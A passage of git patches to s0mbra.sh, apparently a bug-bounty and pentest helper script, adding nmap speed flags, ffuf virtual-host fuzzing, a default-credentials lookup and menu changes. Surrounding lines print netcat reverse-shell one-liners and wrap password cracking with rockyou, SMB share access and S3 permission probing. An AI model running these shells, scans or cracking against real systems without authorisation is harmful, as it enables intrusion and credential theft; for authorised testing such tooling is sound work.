| tr '\n' ',') echo -e "$BLUE[s0mbra] running version detection + nse scripts against $ports...$CLR" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml else echo -e "$BLUE[s0mbra] Running full nmap scan against $2 port(s) on $1 ...$CLR" echo -e " ...search open ports...$CLR" - ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') + ports=$(nmap --top-ports "$2" --min-rate=1000 -T4 $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') echo -e "$BLUE[s0mbra] running version detection + nse scripts against $ports...$CLR" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml fi @@ -47,10 +47,10 @@ full_nmap_scan() { quick_nmap_scan() { if [[ -z "$2" ]]; then echo -e "$BLUE[s0mbra] Running nmap scan against all ports on $1 ...$CYAN" - nmap -p- $1 + nmap -p- --min-rate=1000 -T4 $1 else echo -e "$BLUE[s0mbra] Running nmap scan against top $2 ports on $1 ...$CYAN" - nmap --top-ports $2 $1 + nmap --top-ports $2 --min-rate=1000 -T4 $1 fi echo -e "$BLUE\n[s0mbra] Done! $CLR" @@ -227,7 +227,7 @@ recon() { # nmap echo -e "\n$GREEN--> nmap (top 1000 ports)$CLR\n" - nmap -iL $TMPDIR/s0mbra_recon_subfinder.tmp --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_recon_nmap.tmp -oX $TMPDIR/s0mbra_recon_nmap.xml + nmap --min-rate=1000 -T4 -iL $TMPDIR/s0mbra_recon_subfinder.tmp --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_recon_nmap.tmp -oX $TMPDIR/s0mbra_recon_nmap.xml # httpx echo -e "\n$GREEN--> httpx$CLR\n" From 1c07094c3854d5fa35d5d7bc80ed45cba2ffd8de Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 10 Jan 2022 13:02:56 +0000 Subject: [PATCH 158/369] [s0mbra] Added vhosts enumeration to ransack() --- s0mbra.sh | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index d22ee3a..8301a97 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -233,7 +233,7 @@ recon() { echo -e "\n$GREEN--> httpx$CLR\n" httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp - # ffuf + # ffuf - starter + lowercase enumeration echo -e "\n$GREEN--> ffuf + nuclei on HTTP 200 from httpx$CLR\n" for url in $(cat $TMPDIR/s0mbra_recon_httpx.tmp | grep "200" | cut -d' ' -f1); do @@ -283,6 +283,11 @@ ransack() { echo -e "\n$GREEN--> nikto (max. 10 minutes) $CLR\n" nikto -host $PROTO://$HOSTNAME -404code 404,301,302,304 -maxtime 10m -o $TMPDIR/s0mbra_nikto_$HOSTNAME.log -Format txt -useragent "bl4de/HackerOne" + # vhosts enumeration + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_fullnames_$HOSTNAME.log + + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_$HOSTNAME.log + # ffuf ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log From e75319d52cf09c8542f921f95123388a787dfdd0 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 14 Jan 2022 13:33:15 +0000 Subject: [PATCH 159/369] [s0mbra] um() improvements --- s0mbra.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 8301a97..7b32445 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -105,8 +105,8 @@ ssh_to_john() { um() { FILENAME=$1 echo -e "$BLUE[s0mbra] Unminify $FILENAME...$CLR" - unminify $FILENAME > unmimified.js - echo -e "\n\n[s0mbra]Done." + unminify $FILENAME > unmimified.$FILENAME + echo -e "$BLUE[s0mbra] Done." } # static code analysis of npm module installed in ~/node_modules From eb22fec6a37fbd930de2c31583d3dd780e359577 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 15 Jan 2022 19:33:42 +0000 Subject: [PATCH 160/369] [s0mbra] Output improvements --- s0mbra.sh | 22 +++++++++++++--------- 1 file changed, 13 insertions(+), 9 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 7b32445..b2f2c54 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -70,6 +70,7 @@ http() { PORT=$1 fi python3 -m http.server $PORT + echo -e "\n$BLUE[s0mbra] Done." } # runs john with rockyou.txt against hash type [FORMAT] and file [HASHES] @@ -82,6 +83,7 @@ rockyou_john() { "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" fi cat "$HACKING_HOME"/tools/jtr/run/john.pot + echo -e "\n$BLUE[s0mbra] Done." } # ZIP password cracking with rockyou.txt @@ -90,6 +92,7 @@ rockyou_zip() { "$HACKING_HOME"/tools/jtr/run/zip2john "$1" | cut -d ':' -f 2 > ./hashes.txt echo -e "$BLUE[s0mbra] Starting $MAGENTA hashcat $BLUE (using $YELLOW rockyou.txt $BLUE dictionary against $YELLOW hashes.txt $BLUE file)...$CLR" hashcat -m 13600 ./hashes.txt ~/hacking/dictionaries/rockyou.txt + echo -e "\n$BLUE[s0mbra] Done." } # converts id_rsa to JTR format for cracking SSH key @@ -99,6 +102,7 @@ ssh_to_john() { echo -e "$BLUE[s0mbra] We have a hash.\n" echo -e "$BLUE[s0mbra] Let's now crack it!" rockyou_john "$1".hash + echo -e "\n$BLUE[s0mbra] Done." } # runs unminify on $1 JavaScript file @@ -106,7 +110,7 @@ um() { FILENAME=$1 echo -e "$BLUE[s0mbra] Unminify $FILENAME...$CLR" unminify $FILENAME > unmimified.$FILENAME - echo -e "$BLUE[s0mbra] Done." + echo -e "\n$BLUE[s0mbra] Done." } # static code analysis of npm module installed in ~/node_modules @@ -114,7 +118,7 @@ um() { snyktest() { echo -e "$BLUE[s0mbra] Starting snyk test in current directory...$CLR" snyk test - echo -e "$BLUE[s0mbra] Done." + echo -e "\n$BLUE[s0mbra] Done." } # enumerates SMB shares on [IP] - port 445 has to be open @@ -140,7 +144,7 @@ smb_enum() { smbmap -H "$IP" -u "$username" -p "$password" -R "$d" >> "$1"__shares_listings done rm -f __disks - echo -e "$BLUE[s0mbra] Done." + echo -e "\n$BLUE[s0mbra] Done." } # download file from SMB share @@ -161,7 +165,7 @@ smb_get_file() { echo -e "$GREEN" smbmap -H "$1" -u "$2" -p "$3" --download "$4" echo -e "$CLR" - echo -e "$BLUE[s0mbra] Done." + echo -e "\n$BLUE[s0mbra] Done." } # mounts SMB share at ./mnt/shares @@ -172,7 +176,7 @@ smb_mount() { mount_smbfs "//$3@$1/$2" ./mnt/shares echo -e "$YELLOW\n[s0mbra] Locally available shares:\n.$CLR" ls -l ./mnt/shares - echo -e "$BLUE[s0mbra] Done." + echo -e "\n$BLUE[s0mbra] Done." } # umounts from ./mnt/shares and delete it @@ -180,7 +184,7 @@ smb_umount() { echo -e "$BLUE[s0mbra] Unmounting SMB share(s) from ./mnt/shares...$CLR" umount ./mnt/shares rm -rf ./mnt - echo -e "$BLUE[s0mbra] Done." + echo -e "\n$BLUE[s0mbra] Done." } # if RPC on port 111 shows in rpcinfo that nfs on port 2049 is available @@ -188,14 +192,14 @@ smb_umount() { nfs_enum() { echo -e "$BLUE[s0mbra] Enumerating nfs shares (TCP 2049) on $1...$CLR" nmap -Pn -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount "$1" - echo -e "$BLUE[s0mbra] Done." + echo -e "\n$BLUE[s0mbra] Done." } # executes httpx on the list of host(s) htpx() { echo -e "$BLUE[s0mbra] Running httpx enumeration on $1 domain(s) file; save output to $2...$CLR\n" httpx -silent -status-code -web-server -tech-detect -l $1 -mc 200,403,500 -o $2 - echo -e "$BLUE[s0mbra] Done." + echo -e "\n$BLUE[s0mbra] Done." } # quick subdomain enum + available HTTP server(s) - to find out if a program is @@ -378,7 +382,7 @@ s3() { elif [[ "$?" != 0 ]]; then echo -e "\n$RED- nope, can't grant control with --grant-full-control ... :/$CLR" fi - echo -e "$BLUE[s0mbra] Done." + echo -e "\n$BLUE[s0mbra] Done." } s3go() { From efbd41ee13d87affa9a2431077cf3b019cd5e94e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 16 Jan 2022 09:34:38 +0000 Subject: [PATCH 161/369] [s0mbra] added wrapper for creds (defcreds) --- s0mbra.sh | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index b2f2c54..60b7c92 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -503,13 +503,21 @@ generate_shells() { echo -e "\033[36m[netcat]\033[0m /bin/sh | nc $1 $port" echo -e "\033[36m[netcat]\033[0m rm -f /tmp/p; mknod /tmp/p p && nc $1 $port 0/tmp/p" echo -e "\033[36m[netcat]\033[0m rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $1 $port >/tmp/f" - echo -e "$NEWLINE" + echo -e "$BLUE\n[s0mbra] Done! $CLR" } pwn() { echo -e "$BLUE[s0mbra] Running automated recon on $1...\n Puede tomar un poco tiempo, tienes que ser paciente... ;) $YELLOW" } +defcreds() { + clear + echo -e "$BLUE[s0mbra] Looking for default credentials for $1...$CLR" + creds search $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + + cmd=$1 clear @@ -556,6 +564,9 @@ case "$cmd" in ssh_to_john) ssh_to_john "$2" ;; + defcreds) + defcreds "$2" + ;; um) um "$2" ;; @@ -633,6 +644,7 @@ case "$cmd" in echo -e "\t$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" echo -e "\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" echo -e "\t$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" + echo -e "\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR\t\t\t\t -> default credentials for DEVICE or SYSTEM" echo -e "$BLUE:: SAST ::$CLR" echo -e "\t$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" From ae0a58e0aead287fb1670607aeac6653db701dfa Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 16 Jan 2022 15:11:20 +0000 Subject: [PATCH 162/369] test commit --- s0mbra.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 60b7c92..30ac083 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -517,7 +517,6 @@ defcreds() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } - cmd=$1 clear From a63f42ebfcf8e957e31607498ac2a21df7f72ab6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 16 Jan 2022 20:11:20 +0000 Subject: [PATCH 163/369] [s0mbra] Output fixes --- s0mbra.sh | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 30ac083..2edbd38 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -8,7 +8,7 @@ HACKING_HOME="/Users/bl4de/hacking" GRAY='\033[1;30m' -RED=' $CLR' +RED='\033[1;31m' GREEN='\033[1;32m' LIGHTGREEN='\033[32m' YELLOW='\033[1;33m' @@ -402,12 +402,14 @@ s3go() { elif [[ "$?" != 0 ]]; then echo -e "\n$RED- can't get $2 :/$CLR" fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" } dex_to_jar() { clear echo -e "$BLUE[s0mbra] Exporting $1 into .jar...$CLR" - d2j-dex2jar --force $1 + d2j-dex2jar --force $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" } decompile_jar() { @@ -432,6 +434,7 @@ apk() { elif [[ "$?" != 0 ]]; then echo -e "\n$RED- unzipping .apk failed :/... :/$CLR" fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" } abe() { @@ -448,6 +451,7 @@ abe() { elif [[ "$?" != 0 ]]; then echo -e "\n$RED- Damn... :/$CLR" fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" } fu() { @@ -506,10 +510,6 @@ generate_shells() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -pwn() { - echo -e "$BLUE[s0mbra] Running automated recon on $1...\n Puede tomar un poco tiempo, tienes que ser paciente... ;) $YELLOW" -} - defcreds() { clear echo -e "$BLUE[s0mbra] Looking for default credentials for $1...$CLR" @@ -521,9 +521,6 @@ cmd=$1 clear case "$cmd" in - pwn) - pwn "$2" - ;; set_ip) set_ip "$2" ;; From ed74eb8773c4128e29e02188f5a2e2300eac20b6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 17 Jan 2022 00:06:05 +0000 Subject: [PATCH 164/369] [s0mbra] added base64 decode --- s0mbra.sh | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 2edbd38..9a9e4ca 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -210,7 +210,7 @@ lookaround() { # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -nW -all -v -d $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp + subfinder -nW -all -v -dL $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp # httpx echo -e "\n$GREEN--> httpx$CLR\n" @@ -219,7 +219,7 @@ lookaround() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } -# automated recon: subfinder + nmap + httpx + ffuf | on domain +# automated recon: subfinder + nmap + httpx + ffuf | on domain(s) -> save to scope file recon() { TMPDIR=$(pwd) START_TIME=$(date) @@ -227,7 +227,7 @@ recon() { # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -nW -all -v -d $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp + subfinder -nW -all -v -dL $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp # nmap echo -e "\n$GREEN--> nmap (top 1000 ports)$CLR\n" @@ -511,12 +511,17 @@ generate_shells() { } defcreds() { - clear echo -e "$BLUE[s0mbra] Looking for default credentials for $1...$CLR" creds search $1 echo -e "$BLUE\n[s0mbra] Done! $CLR" } +b64() { + echo -e "$BLUE[s0mbra] Decoding Base64 string...$CLR" + echo $1 | base64 -D + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + cmd=$1 clear @@ -602,6 +607,9 @@ case "$cmd" in s3) s3 "$2" ;; + b64) + b64 "$2" + ;; fu) fu "$2" "$3" "$4" ;; @@ -640,7 +648,7 @@ case "$cmd" in echo -e "\t$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" echo -e "\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" echo -e "\t$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" - echo -e "\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR\t\t\t\t -> default credentials for DEVICE or SYSTEM" + echo -e "\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR\t\t\t -> default credentials for DEVICE or SYSTEM" echo -e "$BLUE:: SAST ::$CLR" echo -e "\t$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" @@ -654,6 +662,7 @@ case "$cmd" in echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" + echo -e "\t$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "\n--------------------------------------------------------------------------------------------------------------" echo -e "$GREEN Hack The Planet!\n$CLR" From f95d92d8a44ad8576f24fd3bf39507916b6ee574 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 18 Jan 2022 10:14:23 +0000 Subject: [PATCH 165/369] [s0mbra] menu look improvements --- s0mbra.sh | 29 ++++++++++++++++------------- 1 file changed, 16 insertions(+), 13 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 9a9e4ca..1d8b745 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -7,13 +7,16 @@ HACKING_HOME="/Users/bl4de/hacking" -GRAY='\033[1;30m' +GRAY='\033[38;5;8m' +GRAY_BG='\033[48;5;8m' RED='\033[1;31m' GREEN='\033[1;32m' LIGHTGREEN='\033[32m' YELLOW='\033[1;33m' BLUE='\033[1;34m' +BLUE_BG='\033[48;5;4m' LIGHTBLUE='\033[34m' +LIGHTBLUE_BG='\033[48;5;6m' MAGENTA='\033[1;35m' CYAN='\033[36m' @@ -280,8 +283,8 @@ ransack() { onaws $HOSTNAME # nmap - echo -e "\n$GREEN--> nmap (top 1000 ports + versioon discovery + nse scripts)$CLR\n" - nmap --top-ports 10000 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.tmp $HOSTNAME + echo -e "\n$GREEN--> nmap (top 100 ports + version discovery + nse scripts)$CLR\n" + nmap --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.tmp $HOSTNAME # nikto echo -e "\n$GREEN--> nikto (max. 10 minutes) $CLR\n" @@ -623,8 +626,8 @@ case "$cmd" in clear echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" echo -e "--------------------------------------------------------------------------------------------------------------" - echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" - echo -e "$BLUE:: RECON ::$CLR" + echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}$CLR\n" + echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN lookaround $GRAY[DOMAIN]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts)" echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" echo -e "\t$CYAN ransack $GRAY[HOST] [PROTO http/https]$CLR\t\t -> bruteforce recon on host: nmap (top 1000 ports) + nikto + ffuf + nuclei" @@ -633,34 +636,34 @@ case "$cmd" in echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" echo -e "\t$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" - echo -e "$BLUE:: CLOUD ::$CLR" + echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" echo -e "\t$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" - echo -e "$BLUE:: PENTEST TOOLS ::$CLR" + echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t$CLR" echo -e "\t$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "\t$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" - echo -e "$BLUE:: SMB SUITE ::$CLR" + echo -e "$BLUE_BG:: SMB SUITE ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" echo -e "\t$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" echo -e "\t$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" echo -e "\t$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" - echo -e "$BLUE:: PASSWORDS CRACKIN' ::$CLR" + echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t$CLR" echo -e "\t$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" echo -e "\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" echo -e "\t$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" echo -e "\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR\t\t\t -> default credentials for DEVICE or SYSTEM" - echo -e "$BLUE:: SAST ::$CLR" + echo -e "$BLUE_BG:: SAST ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" - echo -e "$BLUE:: RE ::$CLR" + echo -e "$BLUE_BG:: RE ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" - echo -e "$BLUE:: ANDROID ::$CLR" + echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR\t\t -> exports .dex file into .jar" echo -e "\t$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t -> extracts APK file and run apktool on it" echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" - echo -e "$BLUE:: WEB ::$CLR" + echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" echo -e "\t$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" From 5f5538dd867097114762c1ba1dd7e9d66b277c5c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 24 Jan 2022 19:51:30 +0000 Subject: [PATCH 166/369] [s0mbra] main menu changes; remove unused tools --- s0mbra.sh | 25 +++++++------------------ 1 file changed, 7 insertions(+), 18 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 1d8b745..7fca481 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -198,13 +198,6 @@ nfs_enum() { echo -e "\n$BLUE[s0mbra] Done." } -# executes httpx on the list of host(s) -htpx() { - echo -e "$BLUE[s0mbra] Running httpx enumeration on $1 domain(s) file; save output to $2...$CLR\n" - httpx -silent -status-code -web-server -tech-detect -l $1 -mc 200,403,500 -o $2 - echo -e "\n$BLUE[s0mbra] Done." -} - # quick subdomain enum + available HTTP server(s) - to find out if a program is # actually worth to look into :D lookaround() { @@ -532,9 +525,6 @@ case "$cmd" in set_ip) set_ip "$2" ;; - htpx) - htpx "$2" - ;; lookaround) lookaround "$2" ;; @@ -627,21 +617,23 @@ case "$cmd" in echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" echo -e "--------------------------------------------------------------------------------------------------------------" echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}$CLR\n" - echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t$CLR" + echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t$CLR" echo -e "\t$CYAN lookaround $GRAY[DOMAIN]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts)" echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" echo -e "\t$CYAN ransack $GRAY[HOST] [PROTO http/https]$CLR\t\t -> bruteforce recon on host: nmap (top 1000 ports) + nikto + ffuf + nuclei" echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" - echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] [OUTPUT_FILE] $CLR\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" - echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" - echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" - echo -e "\t$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" + echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t$CLR" + echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" + echo -e "\t$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" echo -e "\t$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t$CLR" + echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" + echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" echo -e "\t$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "\t$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" + echo -e "\t$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" echo -e "$BLUE_BG:: SMB SUITE ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" echo -e "\t$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" @@ -663,9 +655,6 @@ case "$cmd" in echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR\t\t 